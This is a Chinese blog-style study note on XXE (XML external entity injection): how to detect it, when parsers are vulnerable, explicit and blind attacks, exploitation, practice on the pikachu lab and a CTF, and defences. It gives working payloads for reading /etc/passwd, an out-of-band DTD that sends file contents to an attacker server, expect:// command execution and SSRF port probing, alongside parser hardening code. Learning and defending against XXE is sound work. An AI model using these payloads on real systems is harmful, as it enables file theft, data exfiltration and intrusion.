No.18 笔记 | XXE(XML 外部实体注入)漏洞原理、分类、利用及防御整理

news2024/10/23 15:30:39

一、XXE 漏洞概述

(一)定义

XXE(XML 外部实体注入)漏洞源于 XML 解析器对外部实体的不当处理,攻击者借此注入恶意 XML 实体,可实现敏感文件读取、远程命令执行和内网渗透等危险操作。

(二)识别方法

  • 请求类型分析
    • 重点关注 POST 请求,多数 XXE 漏洞涉及 XML 数据的 POST 提交,也需留意其他可能包含 XML 数据的请求类型。
  • MIME 类型与请求头检查
    • 关注 application/xml、text/xml 等 XML 相关 MIME 类型,注意 Content - Type 头,必要时可修改为 application/xml 进行测试。
  • XML 标签识别
    • 寻找明显的自定义 XML 标签及分析 XML 结构,以确定可能的薄弱环节。

二、触发条件

(一)版本因素

  • libxml < 2.9.0 默认开启外部实体解析。
  • PHP(libxml < 2.9.1)中 libxml_disable_entity_loader 设置为 FALSE 时可能启用外部实体解析。

(二)配置因素

系统管理员可能手动开启外部实体解析,需采取额外安全措施。

三、攻击分类与利用

(一)攻击类型

  • 显式攻击
    • 特征:攻击者直接从应用程序响应获取外部实体内容。
    • 优势:直接、快速,便于验证利用,适合初步探测。
    • 局限:在现代应用中较少见,因开发者已意识到其危险性。
  • 盲攻击(Blind XXE)
    • 特征:应用程序不直接返回外部实体内容,增加攻击难度与隐蔽性。
    • 高级技巧:利用参数实体读取本地文件,将内容作为 URL 参数发送到攻击者控制的服务器。
    • 现实应用:多数 XXE 漏洞为此类型,需复杂利用手法。
    • 关键要求:需具有公网 IP 的服务器接收记录数据,采用带外数据通道(OOB)技术实现隐蔽传输收集。

(二)利用方式

  • 读取任意文件
    • 有回显情况
<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml, null, LIBXML_NOENT);
print_r($data);
?>

通过访问相关页面可读取 /etc/passwd 文件内容。

  • 无回显情况(利用 OOB)
    • 攻击者将.dtd 文件托管在 VPS 上。
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKER_SERVER.com/xxe_file.dtd">
<catalog>
  <core id="test101">
    <author>John Doe</author>
    <title>I love XML</title>
    <category>Computers</category>
    <price>9.99</price>
    <date>2018-10-01</date>
    <description>&xxe;</description>
  </core>
</catalog>

.dtd 文件内容可能为:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKER_SERVER.com/?%file;'>">
%all;

易受攻击的服务器获取.dtd 文件并执行命令,攻击者从服务器日志查看文件内容。

  • 命令执行
    在 PHP 环境下,需安装 expect 扩展(默认未安装)。
<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "expect://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml, null, LIBXML_NOENT);
print_r($data);
?>
  • 内网探测 / SSRF
    利用 http:// 协议发起 HTTP 请求探查内网,如端口扫描:
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080">]>
<catalog>
  <core id="test101">
    <author>John Doe</author>
    <title>I love XML</title>
    <category>Computers</category>
    <price>9.99</price>
    <date>2018-10-01</date>
    <description>&xxe;</description>
  </core>
</catalog>

根据响应时间 / 长度判断端口是否开启。

  • 其他攻击方式(如 DDoS)
    如 Billion Laughs 攻击,通过构造恶意 XML 实体文件耗尽内存。

四、漏洞练习

(一)pikachu 靶场

  • 有回显情况
<?xml version="1.0"?> 
<!DOCTYPE foo [ 
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]> 
<foo>&xxe;</foo>
  • 无回显情况
    • 注释回显代码构造无回显环境。
    • 使用 dnslog 判断漏洞,修改 payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://h7yyv7.dnslog.cn">
]>
<foo>&xxe;</foo>

确认漏洞后,用 VPS(如 Kali)创建 evil.dtd 文件:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///F:/xxe.txt">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://192.168.31.229?c=%file;'>">

在 pikachu 中使用 payload:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://192.168.31.229/evil.dtd">
%remote;%int;%send;
]>

(二)CTF 场景

  1. 观察 POST 包(可能为 application/json)内容。
  2. 更改请求包类型为 application/xml 测试,尝试内部实体参数的 XXE payload,可能成功返回数据。

五、漏洞防御

  1. 升级版本
    libxml 2.9.1 及以后默认不解析外部实体。
  2. 禁用外部实体方法
  • PHP:libxml_disable_entity_loader(true);
  • Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
  • Python
from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))

过滤 XML 数据
过滤关键词:<!DOCTYPE、<!ENTITY、SYSTEM 和 PUBLIC。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2221684.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[含文档+PPT+源码等]精品基于Nodejs实现的水果批发市场管理系统的设计与实现

基于Node.js实现的水果批发市场管理系统的设计与实现背景&#xff0c;可以从以下几个方面进行阐述&#xff1a; 一、行业背景与市场需求 水果批发市场的重要性&#xff1a; 水果批发市场作为农产品流通的重要环节&#xff0c;承载着从生产者到消费者之间的桥梁作用。它的运营效…

传统园区与智慧园区:现代化发展的差异和优势

传统园区和智慧园区代表着城市发展不同阶段的产物&#xff0c;两者在功能、管理、环境等多个方面存在显著差异。通过对传统园区和智慧园区进行对比&#xff0c;可以清晰地看到智慧园区的诸多优势所在。 1. 功能对比&#xff1a; 传统园区通常以简单的生产、办公和商业为主要功…

1.深入理解MySQL索引底层数据结构与算法

文章目录 索引的概念数据结构二叉树红黑树B-B两者的区别 Hash 引擎数据所在位置对应关系MyISAMInnoDB 索引主键聚集索引非聚集索引联合索引 如有写的不对的请指正。 索引的概念 索引是帮助MySQL高效获取数据的排好序的数据结构 数据结构 网址&#xff1a; https://www.cs.us…

Kafka-设计思想-2

一、消息传递语义 现在我们对生产者和消费者的工作方式有了一些了解&#xff0c;让我们讨论一下Kafka在生产者和消费者之间提供的语义保证。 1、最多发送一次&#xff1a;会造成数据丢失 2、至少发送一次&#xff1a;会造成数据重复消费 3、只发送一次&#xff1a;我们想要的效…

MDB收款适配器MDBPOS

LETPOS精简版MDBPOS&#xff08;直接连接MDB协议的刷卡器&#xff0c;按照设定价格收款&#xff0c;输出脉冲&#xff09; 通过串口设定价格&#xff0c;脉冲宽度。 有人刷卡&#xff0c;扣款成功&#xff0c;输出脉冲&#xff0c;使用简单 适合把MDB协议的刷卡器连接到脉冲投…

【算法】归并排序概念及例题运用

&#x1f4e2;博客主页&#xff1a;https://blog.csdn.net/2301_779549673 &#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指正&#xff01; &#x1f4e2;本文由 JohnKi 原创&#xff0c;首发于 CSDN&#x1f649; &#x1f4e2;未来很长&#…

小程序视频SDK解决方案,提供个性化开发和特效定制设计

美摄科技作为视频处理技术的领航者&#xff0c;深知在这一变革中&#xff0c;每一个细微的创新都能激发无限可能。因此&#xff0c;我们精心打造了一套小程序视频SDK解决方案&#xff0c;旨在满足不同行业、不同规模客户的多元化需求&#xff0c;携手共创视频内容的璀璨未来。 …

这几次比赛题解

因为考虑到再看&#xff0c;所以将所有题目都做成了pdf格式 梦熊十三连测 T1 这道题其实什么也不用想&#xff0c;就按照题目给的意思来打代码就行&#xff0c;这就有40分可以拿。懒人做法 #include<bits/stdc.h> using namespace std; typedef long long ll; ll read…

中航资本:股票显示缺口什么意思啊?股票有缺口一定会补吗?

股票显现缺口什么意思啊&#xff1f; 股票显现缺口是指股票在运行进程中&#xff0c;忽然上涨或许下跌使股价远离上一个交易日收盘价的状况&#xff0c;也便是股票当天的开盘价格和股票前一个交易日的收盘价格违背崎岖很大。在K线图中&#xff0c;缺口表现为股价在持续动摇中有…

MT-Pref数据集:包含18种语言的18k实例,涵盖多个领域。实验表明它能有效提升Tower模型在WMT23和FLORES基准测试中的翻译质量。

2024-10-10&#xff0c;由电信研究所、里斯本大学等联合创建MT-Pref数据集&#xff0c;它包含18种语言方向的18k实例&#xff0c;覆盖了2022年后的多个领域文本。通过在WMT23和FLORES基准测试上的实验&#xff0c;我们展示了使用MT-Pref数据集对Tower模型进行对齐可以显著提高翻…

React实现购物车功能

今日学习React的useReducer&#xff0c;实现了一个购物车功能 文章目录 目录 效果展示 逻辑代码 CSS代码 效果展示 逻辑代码 import {useReducer} from "react"; import ./index.css; import { message} from antd;export function ShoppingCount(){// 初始化购…

钡铼技术边缘计算2DIN2DO工业无线路由器R40A

R40A不仅具备了传统工业无线路由器的基本功能&#xff0c;如4G网络连接、稳定的数据传输等&#xff0c;还创新性地整合了可编程逻辑控制器&#xff08;PLC&#xff09;功能、多种工业协议转换能力以及数据采集终端的功能。 强大的边缘计算能力 随着物联网技术的发展&#xff…

STM32_实验5_中断实验

通过外部中断来检测四个按键按下的状态&#xff1a; WK_UP 控制蜂鸣器响和停 KEY0 控制 LED_R 互斥点亮 KEY1 控制 LED_G 互斥点亮 KEY2 控制 LED_B 互斥点亮。 中断的基本概念&#xff1a; 中断请求&#xff08;IRQ&#xff09;&#xff1a; 当发生某个特定事件&#xff08;例…

如何通过谷歌外推占据搜索引擎首页?

外贸企业在推广过程中&#xff0c;如何在谷歌搜索引擎中占据有利位置&#xff0c;获取更多曝光&#xff0c;GLB谷歌霸屏服务就可以派上用场。它通过高效的品牌外推策略&#xff0c;可以让你的企业信息在谷歌中实现“霸屏”效果&#xff0c;特别是长尾关键词的全面覆盖 很多企业…

如何实现安川MP3300运动控制器与西门子1200系列PLC进行ModbusTCP通讯

在工业自动化中&#xff0c;实现不同品牌、不同型号设备之间的通讯是确保生产流程顺畅、高效运行的关键。本文详细介绍了安川MP3300运动控制器与西门子1200系列PLC进行ModbusTCP通讯的具体方法。 一&#xff0e;软硬件需求 1.一台安川MP3300CPU301&#xff0c;其IP地址是192.…

android11 usb摄像头添加多分辨率支持

部分借鉴于&#xff1a;https://blog.csdn.net/weixin_45639314/article/details/142210634 目录 一、需求介绍 二、UVC介绍 三、解析 四、补丁修改 1、预览的限制主要存在于hal层和framework层 2、添加所需要的分辨率&#xff1a; 3、hal层修改 4、frameworks 5、备…

OceanBase 首席科学家阳振坤:大模型时代的数据库思考

2024年 OceanBase 年度大会 即将于10月23日&#xff0c;在北京举行。 欢迎到现场了解更多“SQL AI ” 的探讨与分享&#xff01; 近期&#xff0c;2024年金融业数据库技术大会在北京圆满举行&#xff0c;聚焦“大模型时代下数据库的创新发展”议题&#xff0c;汇聚了国内外众多…

Java的评论大冒险:用代码征服API数据

在一个充满数字奥秘的虚拟世界里&#xff0c;Java勇士正准备踏上他的新征程&#xff1a;获取商品评论的API数据。这不仅是一次技术的挑战&#xff0c;更是一次与时间赛跑的较量。Java勇士&#xff0c;这位编程界的探险家&#xff0c;打开了他的IDE&#xff0c;准备开始这场冒险…

什么是感知与计算融合?

感知与计算融合&#xff08;Perception-Computing Fusion&#xff09;是指将感知技术&#xff08;如传感器、摄像头等&#xff09;与计算技术&#xff08;如数据处理、人工智能等&#xff09;有机结合&#xff0c;以实现对环境的更深层次理解和智能反应的过程。该技术广泛应用于…

进程间通信大总结Linux

目录 进程间通信介绍 进程间通信目的 进程间通信发展 进程间通信分类 管道 System V IPC POSIX IPC 管道 什么是管道 匿名管道 用fork来共享管道原理 站在文件描述符角度-深度理解管道 管道读写规则 管道特点 命名管道 创建一个命名管道 匿名管道与命名管道的区…